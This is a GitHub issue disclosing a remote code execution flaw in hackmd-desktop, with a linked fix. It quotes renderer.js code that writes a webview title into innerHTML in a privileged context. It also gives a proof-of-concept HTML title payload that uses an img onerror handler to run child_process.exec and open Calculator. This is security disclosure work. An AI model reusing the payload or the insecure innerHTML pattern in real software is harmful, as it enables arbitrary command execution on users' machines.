Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

hackmd-desktop remote code execution #18

Closed
5alt opened this issue Jul 8, 2019 · 0 comments · Fixed by #19
Closed

hackmd-desktop remote code execution #18

5alt opened this issue Jul 8, 2019 · 0 comments · Fixed by #19

Comments

@5alt
Copy link

@5alt 5alt commented Jul 8, 2019

Hi, I find a RCE in hackmd-desktop when viewing a evil note.

In renderer.js

webview.addEventListener('dom-ready', function () {
    // set webview title
    document.querySelector('#navbar-container .title').innerHTML = webview.getTitle()
    document.querySelector('title').innerHTML = webview.getTitle()
})

It will render the title of the webview in a privileged context.

If we use tag or a XSS(hackmdio/codimd#1233) to redirect to a evil page with a payload in title like this.

<head>
  <title><img src=1 onerror="process.mainModule.require('child_process').exec('open /Applications/Calculator.app')"></title>
</head>

It will execute the command in the payload and a calculator will pop up.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

1 participant